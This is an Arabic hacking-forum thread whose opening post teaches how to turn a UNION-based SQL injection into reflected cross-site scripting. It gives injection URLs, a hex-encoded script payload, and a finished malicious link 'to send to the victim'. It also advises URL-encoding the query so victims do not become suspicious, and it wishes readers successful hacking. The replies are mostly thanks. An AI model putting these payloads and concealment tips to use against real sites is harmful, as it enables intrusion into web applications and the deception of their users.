:: vBspiders Professional Network :: - العلاقة ما بين SQL injection & XSS

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- SQL قواعد البيانات (http://www.vbspiders.com/vb/f133.html)

- - العلاقة ما بين SQL injection & XSS (http://www.vbspiders.com/vb/t57595.html)

العلاقة ما بين SQL injection & XSS

السلام عليكم ،
الجميع يعرف الحقن والثغرة الاخرىى ولكن هل يمكننا استغلال ثغرة الحقن لتوليد xss يمكن ذلك ولكن بعدة شروط ،

الشرط الاول :
- ظهور الاعمدة المصابة في الصفحة مثلا 1و2و3 ....
الشرط الثاني:
- دالة hex تكون غير محظورة لاننا سنتغلها لحقن كود الجافا،

نأتي للطريقة :
مثلا لديك رابط حقن في الموقع

كود:

http://www.site.com/index.php?id=-1+union+select+1--

نستبدل الرقم 1 الاخير بدالة hex
ونشفر الكود ***************('9');</script> بستخدام اي موقع تشفير او اضافة firefox المسماة hackbar

انا شفرتها لكم :

كود:

0x3c7363726970743e616c6572742839293b3c2f7363726970743e

يصبح رابط xss الذي سترسله للضحية بالشكل التالي

كود:

http://www.site.com/index.php?id=-1+union+select+hex(0x3c7363726970743e616c6572742839293b3c2f7363726970743e)--

طبعا يمكنك ان تعمل عملية url encode لتعليمات union +select الإخفائها حتى لا يشك الضحية ،
في الختام اختراق موفق ،
اذا عجبك الموضوع قيمني

هه حلو يا ايروون موضوع مميز من عضو اكثر من مميز هه

مشكور ياحب عل شرح والتوضيح

بارك الله فيك أخي
موضوع أكثر من الرائع

وين التقييم ،؟؟؟ لا بأس هناك بعد الثغرات اصبحت مدموجة مع بعض ونوعا ما ثغرة xss اصبحت تطفو إلى السطح والاهتمام يزيد بها ولكن للأسف الثغرة المخزنة في قواعد البيانات افضل من الثغرة الانية ( ارسال رابط للضحية ) لان نسبة الاخيرة في الفشل هي اكبر

شرح رائع مشكوووور

رد: العلاقة ما بين SQL injection & XSS

خطوة صحيحة
مشكور ع المعلومة واصل تمييزك

رد: العلاقة ما بين SQL injection & XSS

جزاك الله خير

رد: العلاقة ما بين SQL injection & XSS

جزاك الله خير

رد: العلاقة ما بين SQL injection & XSS

شكلة موضوع جامد بس انا دخلت للعميق ولسا مادخلت للبدايه .،

شكرا لك استاذي القدير